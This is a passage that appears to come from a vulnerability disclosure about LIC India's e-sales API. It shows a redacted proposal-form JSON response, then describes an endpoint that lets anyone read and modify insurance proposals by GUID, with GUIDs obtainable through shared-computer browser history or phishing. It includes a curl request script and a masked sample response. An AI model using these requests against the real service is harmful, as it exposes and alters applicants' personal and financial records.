                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "MHR"
                            },
                            {
                                "LevelNo": 101000000,
                                "QId": 5261,
                                "QText": "Whether the terms and conditions of the proposed plan(s) have been explained to the proposer/ life to be assured?",
                                "QParentId": 5260,
                                "DefaultValue": "Yes",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 102000000,
                                "QId": 5262,
                                "QText": "Whether the proposed plan(s) matches the objectives of insurance of the proposer/ life to be assured ?",
                                "QParentId": 5260,
                                "DefaultValue": "Yes",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 103000000,
                                "QId": 5263,
                                "QText": "Have you provided the Benefit Illustration statement of the proposed plan(s) to the proposer/ life to be assured ?",
                                "QParentId": 5260,
                                "DefaultValue": "Yes",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 200000000,
                                "QId": 5264,
                                "QText": "Information about  the  proposer/ Life to be assured",
                                "ControlType": "Header",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 201000000,
                                "QId": 5265,
                                "QText": "How long do you know the proposer/ life to be assured?",
                                "QParentId": 5264,
                                "ControlType": "LabelAndNumericTextBox",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Please share the Details in Days",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 202000000,
                                "QId": 5308,
                                "QText": "Select Period",
                                "QParentId": 5264,
                                "ControlType": "LabelAndDropDown",
                                "MasterType": "[\"Days\",\"Weeks\",\"Months\",\"Years\"]",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 203000000,
                                "QId": 5266,
                                "QText": "Are you related to him/her? If so, give details",
                                "QParentId": 5264,
                                "DefaultValue": "",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 203010000,
                                "QId": 5309,
                                "QText": "Enter Details",
                                "QParentId": 5266,
                                "ControlType": "TextBox",
                                "OnChangeVal": "yes",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 204000000,
                                "QId": 5267,
                                "QText": "What is the educational qualifications of the proposer/ Life to be assured  ?",
                                "QParentId": 5264,
                                "ControlType": "LabelAndTextBox",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 205000000,
                                "QId": 5268,
                                "QText": "If proposer/ Life to be assured is FNIO, whether OCI (Overseas Citizen of India) card  is verified?",
                                "QParentId": 5264,
                                "DefaultValue": "No",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 206000000,
                                "QId": 5269,
                                "QText": " Whether proposer/ Life to be assured or his / her family member/s  is/are Politically Exposed Person (PEP) as per RBI guidelines?  [As per RBI guidelines PEPs are the individuals who are or have been entrusted with prominent public functions in a foreign country.]",
                                "QParentId": 5264,
                                "DefaultValue": "No",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 207000000,
                                "QId": 5270,
                                "QText": "Are you satisfied that the proposer/ Life to be assured is not connected with any  terrorist activities ?",
                                "QParentId": 5264,
                                "DefaultValue": "Yes",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 208000000,
                                "QId": 5271,
                                "QText": "Whether KYC/ PMLA norms are fulfilled for the proposer/ Life to be assured  ?",
                                "QParentId": 5264,
                                "DefaultValue": "Yes",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 300000000,
                                "QId": 5272,
                                "QText": "Financial assessment by the Agent",
                                "ControlType": "Header",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 301000000,
                                "QId": 5273,
                                "QText": "Exact Source of Income",
                                "QParentId": 5272,
                                "ControlType": "TextBox",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 302000000,
                                "QId": 5274,
                                "QText": "Income through employment/ Business/ Profession",
                                "QParentId": 5272,
                                "ControlType": "TextBox",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 303000000,
                                "QId": 5275,
                                "QText": "Income through HUF",
                                "QParentId": 5272,
                                "ControlType": "TextBox",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 304000000,
                                "QId": 5276,
                                "QText": "Income through other sources in detail",
                                "QParentId": 5272,
                                "ControlType": "TextBox",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 400000000,
                                "QId": 5277,
                                "QText": "Mention the proof of income verified by you in respect of income stated above",
                                "ControlType": "Header",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 401000000,
                                "QId": 5278,
                                "QText": "ITRs/ Form 16/ 26 AS",
                                "QParentId": 5277,
                                "ControlType": "CheckBox",
                                "MasterType": "no",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 402000000,
                                "QId": 5279,
                                "QText": "Bank statement,",
                                "QParentId": 5277,
                                "ControlType": "CheckBox",
                                "MasterType": "no",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 403000000,
                                "QId": 5280,
                                "QText": "Salary sheet with appointment letter or salary certificate issued by the Employer",
                                "QParentId": 5277,
                                "ControlType": "CheckBox",
                                "MasterType": "no",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 404000000,
                                "QId": 5281,
                                "QText": "CA certificate/ Audited accounts etc.",
                                "QParentId": 5277,
                                "ControlType": "CheckBox",
                                "MasterType": "no",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 405000000,
                                "QId": 5282,
                                "QText": "What is the PAN number?",
                                "QParentId": 5277,
                                "ControlType": "TextBox",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 406000000,
                                "QId": 5297,
                                "QText": "Whether verified and compared with the PAN mentioned in the Income Proof?",
                                "QParentId": 5277,
                                "DefaultValue": "Yes",
                                "ControlType": "Radio",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 407000000,
                                "QId": 5283,
                                "QText": "Are you personally satisfied with the financial standing of the proposer/life assured and justify the current proposal ?",
                                "QParentId": 5277,
                                "DefaultValue": "Yes",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 500000000,
                                "QId": 5284,
                                "QText": "Previous insurance details  including from other insurers",
                                "ControlType": "Header",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 501000000,
                                "QId": 5285,
                                "QText": "Did you discuss with the proposer/Life to be assured  the status of Previous Policies and are you satisfied that no policy has lapsed within the last three years ?",
                                "QParentId": 5284,
                                "DefaultValue": "Yes",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 502000000,
                                "QId": 5286,
                                "QText": "Are you aware of any Proposal (or Revival of any policy) of the proposer/ life to be assured having been deferred, declined, dropped or accepted at terms other than those proposed ?",
                                "QParentId": 5284,
                                "DefaultValue": "No",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 600000000,
                                "QId": 5287,
                                "QText": "Information about  health , Habit and occupation/ avocation etc",
                                "ControlType": "Header",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 601000000,
                                "QId": 5288,
                                "QText": "what is the general state of health of the life to be assured?",
                                "QParentId": 5287,
                                "ControlType": "LabelAndDropDown",
                                "MasterType": "[\"Good\",\"NotGood\"]",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 602000000,
                                "QId": 5289,
                                "QText": "Does he/she have any physical deformity or Mental Retardation ?",
                                "QParentId": 5287,
                                "DefaultValue": "No",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 603000000,
                                "QId": 5290,
                                "QText": "Do you have any knowledge of his/her having suffered from any illness or injury or undergone any operation or medical investigation?",
                                "QParentId": 5287,
                                "DefaultValue": "No",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 604000000,
                                "QId": 5293,
                                "QText": "Are you aware of anything in the occupation, financial or social position of the life to be assured, his/her  personal habits or any other circumstances which might be likely to add to the risk ?",
                                "QParentId": 5287,
                                "DefaultValue": "No",
                                "ControlType": "Radio",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 700000000,
                                "QId": 5310,
                                "QText": "Physical Measurement of the life to be assured :",
                                "ControlType": "Header",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 701000000,
                                "QId": 5291,
                                "QText": "Height of the life to be assured ( in Cms)",
                                "QParentId": 5310,
                                "ControlType": "TextBox",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 702000000,
                                "QId": 5292,
                                "QText": "Weight of the life to be assured ( in Kgs)",
                                "QParentId": 5310,
                                "ControlType": "TextBox",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 703000000,
                                "QId": 5294,
                                "QText": "Any other information",
                                "QParentId": 5310,
                                "ControlType": "TextBox",
                                "MasterType": "false",
                                "OnChangeVal": "",
                                "DetailsLabel": "Enter Details",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 800000000,
                                "QId": 5295,
                                "QText": "Declaration",
                                "ControlType": "Header",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 801000000,
                                "QId": 5296,
                                "QText": "I further hereby declare that the foregoing statements are true and correct to the best of my knowledge and belief.",
                                "QParentId": 5295,
                                "ControlType": "CheckBox",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            }
                        ],
                        "DocumentDetails": [],
                        "Category": {
                            "NMCategory": "",
                            "FemaleCategory": "A3",
                            "MedicalType": "",
                            "MedicalReports": "",
                            "IsMHR": "No",
                            "MHRType": "",
                            "AutoCompletionStatus": "",
                            "Reason": "",
                            "IsAnnexure": "Yes",
                            "IsPEP": "No",
                            "CoreNMCategory": ""
                        },
                        "SUCDetails": {
                            "PlanGroup": "Plan Group I",
                            "SUC": 200000.0,
                            "TotalSUC": 200000.0,
                            "TRSA": 200000.0,
                            "ADDBSUC": 200000.0,
                            "CISUC": 0.0,
                            "PWBSUC": 0.0,
                            "TRSUC": 0.0,
                            "TotalASA": 200000.0,
                            "ADDBSA": 200000.0,
                            "CISA": 0.0,
                            "PWBSA": 0.0,
                            "TRBSA": 0.0,
                            "CurrSUC": 200000.0,
                            "CurrTotalSUC": 200000.0,
                            "CurrTRSA": 200000.0,
                            "CurrADDBSUC": 200000.0,
                            "CurrCISUC": 0.0,
                            "CurrPWBSUC": 0.0,
                            "CurrTRSUC": 0.0,
                            "CurrGroupASA": 200000.0,
                            "PrevLICSUC": 0.0,
                            "PrevLICTotalSUC": 0.0,
                            "PrevLICTRSA": 0.0,
                            "PrevLICGroupADDBSUC": 0.0,
                            "PrevLICOthGroupADDBSUC": 200000.0,
                            "PrevGroupASA": 0.0,
                            "OtherInsurerTRSA": 0.0,
                            "PrevTRSA": 0.0,
                            "PrevASA": 0.0,
                            "PrevPolicyCount": 0,
                            "PrevOtherInsurerPolicyCount": 0
                        },
                        "ProposerNotAnInsured": "No"
                    }
                ]
            }
        ]
    },
    "statusCode": 0,
    "responseMessage": "Procedure output",
    "id": null,
    "status": 1,
    "errors": [],
    "messageKey": null,
    "messageValue": [],
    "correlationId": null,
    "data": null
}

6. GetQuoteDetailByNumberPost

This API allowed reading and modifying an ongoing proposal by its opportunityId GUID. The GUID can be obtained from browser history on a shared computer, or by social engineering/ phishing.

https://esales.licindia.com/lifeCustomerProposals?OpportunityId=$$$$$$$$-$$$$-$$$$-$$$$-$$$$$$$$$$$$
https://esales.licindia.com/LifePostPayment?OpportunityId=$$$$$$$$-$$$$-$$$$-$$$$-$$$$$$$$$$$$

The underlying API and response is as follows.

sample_script.sh
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#!/bin/bash
timestamp=$(date '+%F_%T')
curl 'https://digiapi.licindia.in/api/Quotation/GetQuoteDetailByNumberPost' \
  -X POST \
  -H 'Authorization: Bearer encrypted_JWT' \
  -H 'appId: $$$$$$$$-$$$$-$$$$-$$$$-$$$$$$$$$$$$' \
  --data-raw '{"QuoteNo":null,"GUID":"$$$$$$$$-$$$$-$$$$-$$$$-$$$$$$$$$$$$"}' \
  -o "output_${timestamp}.json"
Sample response 
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{
    "quotation": null,
    "finalResult": {
        "Agent Id": 0,
        "QuotationDetails": {
            "ProposerDetails": {
                "IdentificationNo": "",
                "FirstName": "$$$",
                "LastName": "",
                "ContactNo": "$$$",
                "HomeNo": "",
                "WorkNo": "",
                "OccupationCode": "",
                "Salutation": "",
                "SalutationId": "",
                "PassportNo": "",
                "EmailId": "$$$",
                "Place": "",
                "Gender": "Male",
                "AnnualIncome": "$$$",
                "MaritalStatus": "",
                "DOB": "$$$$-$$-$$",
                "Age": "$$$",
                "CommunicationAddress": {
                    "AddressLine1": "",
                    "AddressLine2": "",
                    "AddressLine3": "",
                    "Landmark": "",
                    "City": "",
                    "District": "",
                    "State": "",
                    "Country": "",
                    "Pincode": ""
                },
                "PermanentAddress": {
                    "AddressLine1": "",
                    "AddressLine2": "",
                    "AddressLine3": "",
                    "Landmark": "",
                    "City": "$$$",
                    "District": "",
                    "State": "",
                    "Country": "",
                    "Pincode": "",
                    "BranchCode": "$$$"
                },
                "Declarations": {
                    "PersonalDecl": true
                },
                "IsProposerSameAsInsured": "Yes",
                "AgeNBD": "$$$",
                "ResidentStatus": "Resident Indian",
                "opportunityId": "$$$",
                "opportunityGuid": "$$$",
                "opportunityNumber": "$$$",
                "Name": "$$$"
            },
            "ChannelDetails": {
                "ChannelType": "D2C",
                "BranchCode": "$$$",
                "BranchName": "$$$",
                "Email": "",
                "Mobile": "",
                "Address1": "$$$",
                "Address2": "$$$",
                "DivisionCode": "$$$",
                "Pincode": "$$$",
                "ZoneCode": "$$$",
                "DivisionAddress": "$$$"
            },
            "Plan": "$$$",
            "PreferredMode": "Single",
            "PolicyTerm": "15",
            "PremiumPayingTerm": 1,
            "PolicePersonnel": "",
            "Product": "$$$",
            "ProductCode": "$$$",
            "PlanCode": "$$$",
            "SumAssured": "$$$",
            "totalLifeBenefit": "",
            "PaymentFrequency": "",
            "DrawDownPeriod": "",
            "relation": [
                {
                    "mID": 1,
                    "mValue": "Self"
                }
            ],
            "spouseDetails": {},
            "childrenDetails": [],
            "PolicyType": "ORD",
            "Nach": "No",
            "NachId": 8,
            "DateOfCommencement": "2025-02-16",
            "InsurableItem": [
                {
                    "RiskItems": [
                        {
                            "Name": "$$$",
                            "DOB": "$$$$-$$-$$",
                            "Gender": "Male",
                            "Relation": "Self",
                            "RelationId": 1,
                            "Age": "$$$",
                            "AgeNBD": "$$$",
                            "PassportNo": "",
                            "PreExistingDisease": "",
                            "SumAssured": "",
                            "RiderDetails": [],
                            "PolicePersonnel": "",
                            "AccidentBenefit": "",
                            "AccidentBenefitId": "N",
                            "IsProposerSameAsInsured": "Yes",
                            "Benefit": [],
                            "Smoker": "No",
                            "SmokerFlag": "No",
                            "MedicalTests": "Yes",
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